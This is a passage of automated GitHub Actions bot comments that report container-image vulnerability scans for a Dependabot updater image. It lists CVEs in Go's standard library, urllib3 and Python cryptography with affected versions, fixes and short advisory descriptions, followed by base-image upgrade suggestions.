        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

